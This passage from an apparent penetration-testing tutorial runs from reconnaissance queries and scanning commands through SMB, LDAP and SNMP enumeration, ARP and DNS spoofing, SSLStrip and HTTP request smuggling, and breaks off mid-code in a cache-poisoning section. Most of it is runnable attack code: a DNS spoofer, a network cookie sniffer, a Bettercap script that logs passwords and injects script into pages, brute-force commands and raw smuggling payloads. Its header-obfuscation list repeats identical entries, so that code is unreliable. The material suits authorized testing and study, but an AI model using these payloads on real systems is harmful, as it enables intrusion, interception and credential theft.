org:"Target Organization"
net:"192.168.0.0/16"
# Service-specific
port:22 hostname:"target.com"
port:80,443 hostname:"target.com"
port:3389 hostname:"target.com"
product:"Apache" hostname:"target.com"
# Vulnerability-focused
vuln:CVE-2021-44228 hostname:"target.com"
vuln:heartbleed hostname:"target.com"
Censys Search:
# Censys queries
target.com
services.service_name: HTTP and target.com
services.port: 3389 and target.com
services.tls.certificate.parsed.subject_dn: target.com
GitHub and Code Repository Searching:
GitHub Dorks:
# Search for configuration files
"target.com" "aws_access_key"
"target.com" "password"
"target.com" "api_key"
"target.com" "secret"
"target.com" filename:.env
"target.com" filename:config.php
"target.com" filename:settings.py
# Using gitrob
gitrob -repo target/org-name
# Using truffleHog
truffleHog --regex --entropy=False https://github.com/target/repo.gitWayback Machine and Historical Data:
Archive.org:
# Get historical URLs
curl "http://web.archive.org/cdx/search/cdx?url=*.target.com&output=json&fl=original"
# Using waybackurls
waybackurls target.com | sort -u
# Using gau (Get All URLs)
gau target.com | sort -uActive scanning directly probes target systems, providing more detailed information but increasing detection risk.
Live Host Discovery Techniques:
ICMP Discovery:
# ICMP echo request (standard ping)
nmap -sn -PE 192.168.1.0/24
# ICMP timestamp requests (often allowed when echo blocked)
nmap -sn -PP 192.168.1.0/24
# ICMP address mask requests
nmap -sn -PM 192.168.1.0/24
# Ping sweep with fping
fping -a -g 192.168.1.0/24 2>/dev/nullTCP Discovery:
# TCP SYN to common ports
nmap -sn -PS80,443,22,25 192.168.1.0/24
# TCP ACK (may bypass stateless firewalls)
nmap -sn -PA80,443 192.168.1.0/24
# TCP on all ports (slow)
nmap -sn -PS1-65535 192.168.1.0/24
# Using masscan for speed
masscan -p80,443,22,25 192.168.1.0/24 --rate=1000UDP Discovery:
# UDP probes (slower but discovers UDP services)
nmap -sn -PU53,161,137 192.168.1.0/24
# Specific UDP ports
for port in 53 67 68 69 123 137 138 139 161 162 500 514 520 1900 4500 5353; do
nmap -sn -PU$port 192.168.1.0/24
doneARP Discovery (Local Networks):
# ARP scanning is most reliable on local networks
arp-scan --localnet
arp-scan 192.168.1.0/24
# Using nmap ARP scan
nmap -sn -PR 192.168.1.0/24
# Using netdiscover
netdiscover -r 192.168.1.0/24Custom Discovery Script:
#!/usr/bin/env python3
import socket
import threading
import ipaddress
from queue import Queue
class HostDiscovery:
def __init__(self, network, ports=[80,443,22], threads=100):
self.network = ipaddress.ip_network(network)
self.ports = ports
self.threads = threads
self.queue = Queue()
self.results = []
def check_host(self, ip):
"""Check if host is alive"""
# Try ICMP
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
sock.settimeout(1)
# Would need to craft ICMP packet
except:
pass
# Try TCP connections
for port in self.ports:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((str(ip), port))
if result == 0:
self.results.append(str(ip))
print(f"[+] Found host: {ip}")
return
sock.close()
except:
pass
def worker(self):
while not self.queue.empty():
ip = self.queue.get()
self.check_host(ip)
self.queue.task_done()
def run(self):
print(f"[*] Scanning {self.network}...")
# Fill queue
for ip in self.network.hosts():
self.queue.put(ip)
# Start threads
threads = []
for _ in range(self.threads):
t = threading.Thread(target=self.worker)
t.start()
threads.append(t)
# Wait for completion
self.queue.join()
print(f"[+] Found {len(self.results)} live hosts")
return self.resultsTCP Connect Scanning:
# TCP connect scan (completes handshake)
nmap -sT -p 1-1000 192.168.1.1
# With version detection
nmap -sT -sV -p 1-1000 192.168.1.1TCP SYN (Half-Open) Scanning:
# SYN scan (requires root)
nmap -sS -p 1-1000 192.168.1.1
# With timing template
nmap -sS -T4 -p 1-1000 192.168.1.1
# With fragmentation
nmap -sS -f -p 1-1000 192.168.1.1TCP FIN/NULL/XMAS Scanning:
# FIN scan
nmap -sF -p 1-1000 192.168.1.1
# NULL scan
nmap -sN -p 1-1000 192.168.1.1
# XMAS scan
nmap -sX -p 1-1000 192.168.1.1UDP Scanning:
# UDP scan (slow)
nmap -sU -p 1-1000 192.168.1.1
# Top UDP ports
nmap -sU --top-ports 100 192.168.1.1
# Faster UDP with version detection
nmap -sU -sV --version-intensity 0 -p 53,67,68,69,123,137,138,139,161,162,500,514,520 192.168.1.1Scan Optimization:
Timing Templates:
# T0: Paranoid (serial, 5 min between probes)
nmap -T0 -sS target.com
# T1: Sneaky (serial, 15 sec between probes)
nmap -T1 -sS target.com
# T2: Polite (serial, 0.4 sec between probes)
nmap -T2 -sS target.com
# T3: Normal (parallel, default)
nmap -T3 -sS target.com
# T4: Aggressive (fast, assumes good network)
nmap -T4 -sS target.com
# T5: Insane (very fast, may miss ports)
nmap -T5 -sS target.comRate Limiting:
# Limit packet rate
nmap --min-rate 10 --max-rate 100 target.com
# Masscan for high speed
masscan -p1-65535 --rate=10000 target.comScan Delay:
# Add delay between probes
nmap --scan-delay 1s target.com
# Randomize scan order
nmap --randomize-hosts target.comDecoy Scanning:
# Use decoys to hide real source
nmap -D RND:10,ME target.com
# Specific decoy IPs
nmap -D 192.168.1.5,10.0.0.1,ME target.comCustom Port Scanner:
import socket
import threading
from queue import Queue
class PortScanner:
def __init__(self, target, ports, threads=100, timeout=1):
self.target = target
self.ports = ports
self.threads = threads
self.timeout = timeout
self.queue = Queue()
self.results = []
def scan_port(self, port):
"""Scan single port"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(self.timeout)
result = sock.connect_ex((self.target, port))
if result == 0:
# Try to grab banner
try:
if port == 80:
sock.send(b"HEAD / HTTP/1.0\r\n\r\n")
elif port == 21:
sock.send(b"HELP\r\n")
elif port == 25:
sock.send(b"HELO\r\n")
banner = sock.recv(1024).decode().strip()
except:
banner = ""
self.results.append({
'port': port,
'state': 'open',
'service': self.get_service_name(port),
'banner': banner
})
print(f"[+] Port {port} open - {self.get_service_name(port)}")
sock.close()
except:
pass
def get_service_name(self, port):
"""Get service name from port number"""
try:
return socket.getservbyport(port)
except:
return "unknown"
def worker(self):
while not self.queue.empty():
port = self.queue.get()
self.scan_port(port)
self.queue.task_done()
def run(self):
print(f"[*] Scanning {self.target} for {len(self.ports)} ports...")
# Fill queue
for port in self.ports:
self.queue.put(port)
# Start threads
threads = []
for _ in range(self.threads):
t = threading.Thread(target=self.worker)
t.start()
threads.append(t)
# Wait for completion
self.queue.join()
print(f"[+] Scan complete. Found {len(self.results)} open ports")
return self.results
# Usage
scanner = PortScanner("192.168.1.1", range(1, 1025), threads=200)
results = scanner.run()Banner grabbing identifies running services and versions:
Service Version Detection with Nmap:
# Basic version detection
nmap -sV -p 80,443,22 192.168.1.1
# Aggressive version detection
nmap -sV --version-intensity 9 -p- 192.168.1.1
# Light version detection (faster)
nmap -sV --version-intensity 0 -p 1-1000 192.168.1.1Banner Grabbing with Netcat:
# HTTP banner
nc -nv 192.168.1.1 80 <<< "HEAD / HTTP/1.0\r\n\r\n"
# SMTP banner
nc -nv 192.168.1.1 25 <<< "HELO test.com"
# FTP banner
nc -nv 192.168.1.1 21 <<< "HELP"
# SSH banner
nc -nv 192.168.1.1 22Banner Grabbing with Python:
import socket
def grab_banner(ip, port, timeout=5):
"""Grab service banner"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((ip, port))
# Send probe based on port
if port == 80:
sock.send(b"HEAD / HTTP/1.0\r\n\r\n")
elif port == 21:
sock.send(b"HELP\r\n")
elif port == 25:
sock.send(b"HELO test.com\r\n")
elif port == 443:
# SSL/TLS needs special handling
pass
else:
# Generic probe
sock.send(b"\r\n")
banner = sock.recv(1024).decode().strip()
sock.close()
return banner
except:
return NoneOS detection identifies target operating systems for vulnerability mapping:
Nmap OS Detection:
# OS detection
nmap -O 192.168.1.1
# OS detection with guess
nmap -O --osscan-guess 192.168.1.1
# Verbose OS detection
nmap -O -v 192.168.1.1Passive OS Fingerprinting:
# p0f (passive)
p0f -i eth0 -o p0f.log
# Analyze pcap
p0f -r capture.pcapCustom OS Fingerprinting:
from scapy.all import *
def os_fingerprint(ip):
"""Simple OS fingerprinting"""
# Send SYN packet
syn = IP(dst=ip)/TCP(dport=80, flags="S")
syn_ack = sr1(syn, timeout=2, verbose=False)
if syn_ack:
ttl = syn_ack[IP].ttl
window = syn_ack[TCP].window
options = syn_ack[TCP].options
print(f"TTL: {ttl}")
print(f"Window: {window}")
print(f"Options: {options}")
# Guess OS based on TTL
if ttl <= 64:
print("Likely Linux/Unix")
elif ttl <= 128:
print("Likely Windows")
elif ttl <= 255:
print("Likely Cisco/Solaris")
# Check for specific TCP options
options_dict = dict(options)
if 'WScale' in options_dict:
print(f"Window scaling: {options_dict['WScale']}")
if 'Timestamp' in options_dict:
print("Timestamps enabled")HTTP Header Analysis:
# Basic headers
curl -I https://target.com
# All headers
curl -I -L https://target.com
# Method check
curl -X OPTIONS https://target.com -i
# Custom headers
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com
curl -H "X-Forwarded-Host: evil.com" https://target.comTechnology Stack Detection:
# WhatWeb
whatweb target.com
# Wappalyzer (browser extension)
# BuiltWith (online service)
# Retire.js for JavaScript vulns
retire --path /path/to/js/files
# WPScan for WordPress
wpscan --url target.com --enumerate u,vp,vt
# JoomScan for Joomla
joomscan --url target.comDirectory and File Discovery:
# Gobuster
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -t 50
# Dirb
dirb https://target.com
# Dirsearch
dirsearch -u https://target.com -e php,asp,aspx,jsp,html,txt
# FFUF (fast)
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -c
# Recursive
ffuf -u https://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2Parameter Discovery:
# GET parameters
ffuf -u https://target.com/page?FUZZ=test -w parameters.txt
# POST parameters
ffuf -u https://target.com/page -X POST -d "FUZZ=test" -w parameters.txt
# Header parameters
ffuf -u https://target.com/page -H "FUZZ: test" -w parameters.txt
# Cookie parameters
ffuf -u https://target.com/page -H "Cookie: FUZZ=test" -w parameters.txtVirtual Host Discovery:
# VHost enumeration
ffuf -u https://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -fs 1234
# Using gobuster vhost
gobuster vhost -u https://target.com -w subdomains.txtDNS Server Testing:
# Check for recursion
dig +recurse @target-dns example.com
# Test for zone transfers
for ns in $(dig ns target.com +short); do
dig axfr target.com @$ns
done
# Version detection
dig CHAOS TXT version.bind @target-dns
dig CHAOS TXT hostname.bind @target-dns
# EDNS support
dig +edns=0 @target-dns example.comDNS Enumeration Tools:
# dnsrecon
dnsrecon -d target.com -t std,brt,bing,goo
# dnsenum
dnsenum target.com
# fierce
fierce --domain target.com
# massdns
massdns -r resolvers.txt -t A -o S -w output.txt subdomains.txtSMTP Enumeration:
# Connect to SMTP
nc -nv target.com 25
# VRFY user enumeration
VRFY root
VRFY admin
VRFY postmaster
# EXPN (expand mailing list)
EXPN allusers
EXPN staff
# RCPT TO enumeration
MAIL FROM: test@example.com
RCPT TO: validuser@target.com
RCPT TO: invalid@target.comSMTP Automation:
import socket
def smtp_enum(server, users):
"""Enumerate SMTP users"""
for user in users:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, 25))
s.recv(1024)
s.send(b"HELO test.com\r\n")
s.recv(1024)
s.send(f"MAIL FROM: test@test.com\r\n".encode())
s.recv(1024)
s.send(f"RCPT TO: {user}\r\n".encode())
response = s.recv(1024).decode()
if "250" in response:
print(f"[+] User exists: {user}")
s.send(b"QUIT\r\n")
s.close()
except:
passOpen Relay Testing:
# Test for open relay
swaks --to test@example.com --from attacker@test.com --server target.com
# Manual test
MAIL FROM: external@example.com
RCPT TO: external@gmail.com
DATA
Subject: Test
This is a test.
.SNMP provides rich information about network devices:
Basic SNMP Enumeration:
# SNMP version detection
snmpget -v1 -c public target.com 1.3.6.1.2.1.1.1.0
snmpget -v2c -c public target.com 1.3.6.1.2.1.1.1.0
# Walk entire MIB
snmpwalk -v2c -c public target.com
# System information
snmpwalk -c public -v2c target.com 1.3.6.1.2.1.1
# Network interfaces
snmpwalk -c public -v2c target.com 1.3.6.1.2.1.2
# IP information
snmpwalk -c public -v2c target.com 1.3.6.1.2.1.4
# TCP connections
snmpwalk -c public -v2c target.com 1.3.6.1.2.1.6
# UDP listeners
snmpwalk -c public -v2c target.com 1.3.6.1.2.1.7
# Processes
snmpwalk -c public -v2c target.com 1.3.6.1.2.1.25.4.2.1.2
# Software installed
snmpwalk -c public -v2c target.com 1.3.6.1.2.1.25.6.3.1.2
# Users
snmpwalk -c public -v2c target.com 1.3.6.1.4.1.77.1.2.25
# Shares
snmpwalk -c public -v2c target.com 1.3.6.1.4.1.77.1.2.27SNMP Brute Force:
# onesixtyone
onesixtyone -c community.txt -i hosts.txt
# snmp-brute (nmap)
nmap --script snmp-brute -p 161 target.com
# Hydra for SNMP
hydra -P community.txt -t 4 target.com snmpSNMPv3 Enumeration:
# SNMPv3 requires usernames
snmpwalk -v3 -u user -l authNoPriv -a MD5 -A password target.com
# Enumerate SNMPv3 users
snmpwalk -v3 -u '' -l noAuthNoPriv target.com 1.3.6.1.6.3.15.1.1Windows file sharing provides extensive enumeration opportunities:
NetBIOS Enumeration:
# NetBIOS name lookup
nmblookup -A target_ip
# nbtscan
nbtscan -r target_ip/24
# nbtstat (Windows)
nbtstat -A target_ipSMB Enumeration:
# List shares
smbclient -L //target_ip -N
# Connect to share
smbclient //target_ip/share -N
# Enum4linux
enum4linux -a target_ip
# SMBmap
smbmap -H target_ip
# CrackMapExec
crackmapexec smb target_ip -u '' -p '' --shares
crackmapexec smb target_ip -u '' -p '' --users
crackmapexec smb target_ip -u '' -p '' --groupsSMB OS Discovery:
# Nmap scripts
nmap --script smb-os-discovery -p 445 target_ip
nmap --script smb-enum-shares -p 445 target_ip
nmap --script smb-enum-users -p 445 target_ip
nmap --script smb-enum-groups -p 445 target_ip
nmap --script smb-enum-sessions -p 445 target_ip
nmap --script smb-security-mode -p 445 target_ipSMB Vulnerabilities:
# Check for MS17-010 (EternalBlue)
nmap --script smb-vuln-ms17-010 -p 445 target_ip
# Check for SMB signing
nmap --script smb2-security-mode -p 445 target_ip
# Check for anonymous access
smbclient -L //target_ip -N
# SMB relay (responder)
responder -I eth0 -wrfRPC Enumeration:
# rpcclient
rpcclient -U "" target_ip
# Common rpcclient commands
enumdomusers
enumdomgroups
enumalsgroups builtin
enumdomains
querydominfo
getdompwinfo
lsaenumsid
lookupnames adminActive Directory environments use LDAP for directory services:
Anonymous LDAP Binding:
# Get base DN
ldapsearch -x -h target_ip -s base namingcontexts
# Enumerate all objects
ldapsearch -x -h target_ip -b "dc=target,dc=com"
# Enumerate users
ldapsearch -x -h target_ip -b "dc=target,dc=com" "(objectClass=user)" sAMAccountName
# Enumerate groups
ldapsearch -x -h target_ip -b "dc=target,dc=com" "(objectClass=group)" cn member
# Enumerate computers
ldapsearch -x -h target_ip -b "dc=target,dc=com" "(objectClass=computer)" cn
# Enumerate domain policies
ldapsearch -x -h target_ip -b "dc=target,dc=com" "(objectClass=domainPolicy)"LDAP Authentication:
# Authenticated LDAP
ldapsearch -x -h target_ip -D "cn=admin,dc=target,dc=com" -w password -b "dc=target,dc=com"
# NTLM authentication
ldapsearch -U user@target.com -H ldap://target_ip -WLDAP Attack Tools:
# ldapdomaindump
ldapdomaindump -u 'DOMAIN\user' -p password ldap://target_ip
# BloodHound (collectors)
bloodhound-python -d target.com -u user -p password -ns target_ip -c all
# windapsearch
windapsearch.py --dc-ip target_ip -u "" -UMySQL Enumeration:
# Connect
mysql -h target_ip -u root
# Nmap scripts
nmap --script mysql-info -p 3306 target_ip
nmap --script mysql-enum -p 3306 target_ip
nmap --script mysql-brute -p 3306 target_ip
nmap --script mysql-empty-password -p 3306 target_ip
nmap --script mysql-audit -p 3306 target_ipPostgreSQL Enumeration:
# Connect
psql -h target_ip -U postgres
# Nmap scripts
nmap --script pgsql-brute -p 5432 target_ip
nmap --script pgsql-enum -p 5432 target_ipMongoDB Enumeration:
# Connect
mongo target_ip:27017
# Nmap scripts
nmap --script mongodb-info -p 27017 target_ip
nmap --script mongodb-brute -p 27017 target_ip
# Show databases
show dbs
use admin
db.runCommand({listDatabases:1})Redis Enumeration:
# Connect
redis-cli -h target_ip
# Info
INFO
# Enumerate keys
KEYS *
CONFIG GET *
# Nmap script
nmap --script redis-info -p 6379 target_ipFTP Banner Grabbing:
# Connect
nc -nv target_ip 21
# FTP client
ftp target_ip
# Anonymous login
USER anonymous
PASS anonymous@example.comFTP Enumeration:
# Nmap scripts
nmap --script ftp-anon -p 21 target_ip
nmap --script ftp-brute -p 21 target_ip
nmap --script ftp-syst -p 21 target_ip
nmap --script ftp-vsftpd-backdoor -p 21 target_ip
nmap --script ftp-proftpd-backdoor -p 21 target_ipAutomated FTP Enumeration:
from ftplib import FTP
def ftp_enum(host):
"""Enumerate FTP server"""
try:
ftp = FTP(host)
ftp.login() # Anonymous login
print(f"[+] Anonymous login successful")
# List files
files = ftp.nlst()
print(f"Files: {files}")
# Check permissions
ftp.dir()
ftp.quit()
except Exception as e:
print(f"[-] FTP error: {e}")SSH Banner Grabbing:
# Connect
nc -nv target_ip 22
# SSH client (will show banner)
ssh root@target_ipSSH Enumeration:
# Nmap scripts
nmap --script ssh-hostkey -p 22 target_ip
nmap --script ssh-auth-methods -p 22 target_ip
nmap --script ssh-brute -p 22 target_ip
nmap --script sshv1 -p 22 target_ip
# SSH-audit
ssh-audit target_ipSSH Key Discovery:
import paramiko
def ssh_enum(host, port=22):
"""Enumerate SSH server"""
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# Get host key
host_key = client.get_host_keys()
# Try authentication methods
transport = paramiko.Transport((host, port))
transport.connect()
auth_methods = transport.auth_none('username')
print(f"Auth methods: {auth_methods}")
transport.close()
except Exception as e:
print(f"Error: {e}")RDP Scanning:
# Nmap scripts
nmap --script rdp-enum-encryption -p 3389 target_ip
nmap --script rdp-ntlm-info -p 3389 target_ip
nmap --script rdp-vuln-ms12-020 -p 3389 target_ip
# Crowbar for RDP brute force
crowbar -b rdp -s target_ip/32 -u user -C password.txtVNC Scanning:
# Nmap scripts
nmap --script vnc-info -p 5900 target_ip
nmap --script vnc-brute -p 5900 target_ip
nmap --script vnc-title -p 5900 target_ip
# vncsnapshot
vncsnapshot -passwd password.txt target_ip output.jpgTraceroute:
# Standard traceroute
traceroute target.com
# TCP traceroute
traceroute -T -p 80 target.com
# UDP traceroute
traceroute -U -p 53 target.com
# Using scapy
traceroute("target.com", maxttl=30)Network Mapping Tools:
# Nmap topology
nmap --traceroute -sS -p 80,443 target.com
# Zenmap (GUI for topology)
# Maltego (visual link analysis)Custom Traceroute:
from scapy.all import *
def trace_route(dest, max_hops=30):
"""Traceroute implementation"""
for ttl in range(1, max_hops+1):
# Send packet with increasing TTL
pkt = IP(dst=dest, ttl=ttl)/ICMP()
reply = sr1(pkt, verbose=False, timeout=1)
if reply is None:
print(f"{ttl}: *")
elif reply.type == 0:
# Echo reply - reached destination
print(f"{ttl}: {reply.src} (destination)")
break
else:
# Time exceeded - intermediate router
print(f"{ttl}: {reply.src}")Creating Network Maps:
import networkx as nx
import matplotlib.pyplot as plt
def create_network_map(discovered_hosts, connections):
"""Create network graph visualization"""
G = nx.Graph()
# Add hosts
for host in discovered_hosts:
G.add_node(host['ip'], type=host['type'], services=host['services'])
# Add connections
for conn in connections:
G.add_edge(conn['src'], conn['dst'])
# Draw
pos = nx.spring_layout(G)
nx.draw(G, pos, with_labels=True, node_color='lightblue')
plt.savefig('network_map.png')
plt.show()Using Graphviz:
from graphviz import Digraph
def create_graphviz_map(hosts):
"""Create Graphviz network map"""
dot = Digraph(comment='Network Map')
for host in hosts:
dot.node(host['ip'], f"{host['ip']}\n{host['hostname']}")
for service in host['services']:
dot.node(f"{host['ip']}:{service['port']}",
f"{service['port']}\n{service['name']}")
dot.edge(host['ip'], f"{host['ip']}:{service['port']}")
dot.render('network_map', view=True)MITM attacks intercept and potentially modify communications between client and server.
ARP Spoofing with Bettercap:
# Bettercap - modern MITM framework
sudo bettercap -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on; net.sniff on"
# With HTTPS interception
sudo bettercap -eval "set arp.spoof.targets 192.168.1.100; set https.proxy.script /path/to/hooks.js; arp.spoof on; https.proxy on"ARP Spoofing with Ettercap:
# Text mode
sudo ettercap -T -M arp:remote /192.168.1.100// /192.168.1.1//
# GUI mode
sudo ettercap -GARP Spoofing Detection:
from scapy.all import *
def detect_arp_spoof(interface, gateway_ip):
"""Detect ARP spoofing attacks"""
arp_table = {}
def analyze_arp(pkt):
if pkt.haslayer(ARP) and pkt[ARP].op == 2: # ARP reply
ip = pkt[ARP].psrc
mac = pkt[ARP].hwsrc
if ip in arp_table:
if arp_table[ip] != mac:
print(f"[!] ARP spoofing detected for {ip}")
print(f" Old MAC: {arp_table[ip]}, New MAC: {mac}")
else:
arp_table[ip] = mac
print(f"[*] Learned {ip} -> {mac}")
sniff(iface=interface, filter="arp", prn=analyze_arp)DNS Spoofing with Bettercap:
# DNS spoofing
sudo bettercap -eval "set arp.spoof.targets 192.168.1.100; set dns.spoof.domains target.com; arp.spoof on; dns.spoof on"
# Custom DNS responses
sudo bettercap -eval "set dns.spoof.all true; set dns.spoof.address 192.168.1.50; arp.spoof on; dns.spoof on"DNS Spoofing with Ettercap:
# Create etter.dns file
cat > /etc/ettercap/etter.dns << EOF
target.com A 192.168.1.50
*.target.com A 192.168.1.50
EOF
# Run DNS spoof
sudo ettercap -T -M arp -P dns_spoof /192.168.1.100// /192.168.1.1//Custom DNS Spoofing Server:
from scapy.all import *
import socket
class DNSSpoofer:
def __init__(self, interface, spoofed_ip):
self.interface = interface
self.spoofed_ip = spoofed_ip
def spoof_response(self, pkt):
"""Send spoofed DNS response"""
if pkt.haslayer(DNS) and pkt[DNS].qr == 0: # DNS query
# Build spoofed response
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
udp = UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport)
dns = DNS(
id=pkt[DNS].id,
qr=1, # Response
aa=1, # Authoritative
qd=pkt[DNS].qd,
an=DNSRR(rrname=pkt[DNS].qd.qname,
ttl=300,
rdata=self.spoofed_ip)
)
response = ip/udp/dns
send(response, iface=self.interface, verbose=False)
print(f"[+] Spoofed DNS response for {pkt[DNS].qd.qname.decode()}")
def start(self):
print(f"[*] DNS spoofer running on {self.interface}")
sniff(iface=self.interface,
filter="udp port 53",
prn=self.spoof_response)SSLStrip with Bettercap:
# Bettercap's HTTPS proxy
sudo bettercap -eval "set arp.spoof.targets 192.168.1.100; set https.proxy.sslstrip true; arp.spoof on; https.proxy on"SSLStrip with sslstrip2:
# Start sslstrip
sudo sslstrip -l 8080 -w capture.log
# Redirect HTTP traffic to sslstrip
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
# Now ARP spoof and waitHSTS Bypass Techniques:
# Check HSTS headers
curl -I https://target.com | grep -i strict-transport-security
# If no HSTS or first visit, SSL strip works
# Even with HSTS, subdomains without HSTS may be vulnerableCookie Capture:
from scapy.all import *
import re
def capture_cookies(interface):
"""Capture HTTP cookies from network"""
def extract_cookies(pkt):
if pkt.haslayer(TCP) and pkt.haslayer(Raw):
payload = pkt[Raw].load.decode('utf-8', errors='ignore')
# Look for Cookie header
cookie_match = re.search(r'Cookie: (.*?)\r\n', payload)
if cookie_match:
print(f"[+] Cookie from {pkt[IP].src}:{pkt[TCP].sport}")
print(f" {cookie_match.group(1)}")
# Look for Set-Cookie header
set_cookie_match = re.search(r'Set-Cookie: (.*?)\r\n', payload)
if set_cookie_match:
print(f"[+] Set-Cookie from {pkt[IP].src}:{pkt[TCP].sport}")
print(f" {set_cookie_match.group(1)}")
sniff(iface=interface, filter="tcp port 80", prn=extract_cookies)Session Fixation:
import requests
def session_fixation(url, session_id):
"""Test session fixation"""
# Set session cookie
cookies = {'sessionid': session_id}
# Visit login page
response = requests.get(url + '/login', cookies=cookies)
# After victim logs in, check if session is valid
response = requests.get(url + '/profile', cookies=cookies)
if response.status_code == 200:
print(f"[+] Session fixation successful")Custom Bettercap Script:
// mitm.js - Bettercap script
function onLoad() {
log("MITM script loaded");
// Set up ARP spoofing
arp.spoof.targets = "192.168.1.100";
arp.spoof.on();
// Enable packet sniffer
net.sniff.on();
}
function onPacket(pkt) {
// Custom packet processing
if (pkt.SrcPort == 80 || pkt.DstPort == 80) {
log("HTTP packet detected");
// Check for credentials
if (pkt.String.indexOf("password") > -1) {
log("Found password: " + pkt.String);
}
}
}
function onHttpResponse(req, res) {
// Modify HTTP responses
res.Body = res.Body.replace("</body>", "<script>alert('Hacked')</script></body>");
return res;
}HTTP request smuggling exploits discrepancies between how front-end servers (load balancers, proxies) and back-end servers parse HTTP requests.
When front-end uses Content-Length but back-end uses Transfer-Encoding:
Basic CL.TE Attack:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable.comPython Implementation:
import socket
def clte_smuggle(target_host, target_port):
"""CL.TE request smuggling"""
payload = (
"POST / HTTP/1.1\r\n"
f"Host: {target_host}\r\n"
"Content-Length: 13\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n"
"\r\n"
"GET /admin HTTP/1.1\r\n"
f"Host: {target_host}\r\n"
"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_host, target_port))
sock.send(payload.encode())
response = sock.recv(4096)
print(response.decode())
sock.close()Front-end uses Transfer-Encoding, back-end uses Content-Length:
TE.CL Attack:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked
5c
GET /admin HTTP/1.1
Host: vulnerable.com
Content-Length: 0
0Python Implementation:
def tecl_smuggle(target_host, target_port):
"""TE.CL request smuggling"""
payload = (
"POST / HTTP/1.1\r\n"
f"Host: {target_host}\r\n"
"Content-Length: 4\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"5c\r\n"
"GET /admin HTTP/1.1\r\n"
f"Host: {target_host}\r\n"
"Content-Length: 0\r\n"
"\r\n"
"\r\n"
"0\r\n"
"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_host, target_port))
sock.send(payload.encode())
response = sock.recv(4096)
print(response.decode())
sock.close()Multiple Transfer-Encoding headers with one obfuscated:
TE.TE Attack:
POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable.comObfuscation Techniques:
def te_obfuscations():
"""Various TE header obfuscations"""
obfuscations = [
"Transfer-Encoding: xchunked",
"Transfer-Encoding: chunked",
"Transfer-Encoding: chunked",
"Transfer-Encoding: chunked",
"Transfer-Encoding: chunked",
"Transfer-Encoding: chunked",
"Transfer-Encoding: chunked",
"Transfer-Encoding: chunked",
]
return obfuscationsTime-Delay Technique:
import requests
import time
def detect_smuggling_time_delay(url):
"""Detect request smuggling using time delay"""
# CL.TE test
headers = {
'Content-Length': '6',
'Transfer-Encoding': 'chunked'
}
data = "0\r\n\r\nX"
start = time.time()
response = requests.post(url, headers=headers, data=data)
elapsed = time.time() - start
if elapsed > 5: # Delay indicates possible smuggling
print(f"[!] Possible CL.TE smuggling detected (delay: {elapsed}s)")
# TE.CL test
headers = {
'Content-Length': '4',
'Transfer-Encoding': 'chunked'
}
data = "5c\r\nGET /404 HTTP/1.1\r\nContent-Length: 0\r\n\r\n\r\n0\r\n\r\n"
response = requests.post(url, headers=headers, data=data)
if response.status_code == 404: # Got smuggled request response
print("[!] Possible TE.CL smuggling detected")Response Mirroring:
def detect_smuggling_mirror(url):
"""Detect smuggling by mirroring responses"""
# Send two requests in one connection
session = requests.Session()
# First request - smuggling attempt
headers = {
'Content-Length': '13',
'Transfer-Encoding': 'chunked'
}
data = "0\r\n\r\nGET /404 HTTP/1.1\r\nHost: localhost\r\n\r\n"
response = session.post(url, headers=headers, data=data)
# Second request - normal request
response2 = session.get(url + "/test")
if response2.status_code == 404: # Got smuggled response
print("[!] Request smuggling detected")Smuggling to Bypass Security:
def smuggled_request_bypass(target_host, target_port, smuggled_path):
"""Smuggle request to bypass security"""
# First request - smuggled to admin page
payload = (
"POST / HTTP/1.1\r\n"
f"Host: {target_host}\r\n"
"Content-Length: 13\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n"
"\r\n"
f"GET {smuggled_path} HTTP/1.1\r\n"
f"Host: {target_host}\r\n"
"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_host, target_port))
sock.send(payload.encode())
# Second request - triggers the smuggled one
sock.send(b"GET / HTTP/1.1\r\nHost: " + target_host.encode() + b"\r\n\r\n")
response = sock.recv(4096)
print(response.decode())
sock.close()Smuggling for Cache Poisoning:
def smuggled_cache_poison(target_host, target_port, malicious_path):
"""Use smuggling to poison cache"""
payload = (
"POST / HTTP/1.1\r\n"
f"Host: {target_host}\r\n"
"Content-Length: 13\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n"
"\r\n"
f"GET {malicious_path} HTTP/1.1\r\n"
f"Host: {target_host}\r\n"
"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_host, target_port))
sock.send(payload.encode())
# This response will be cached for the normal path
response = sock.recv(4096)
sock.close()Understanding Cache Keys:
def analyze_cache_keys(url):
"""Determine what's included in cache key"""
import requests
# Test different variations
tests = [
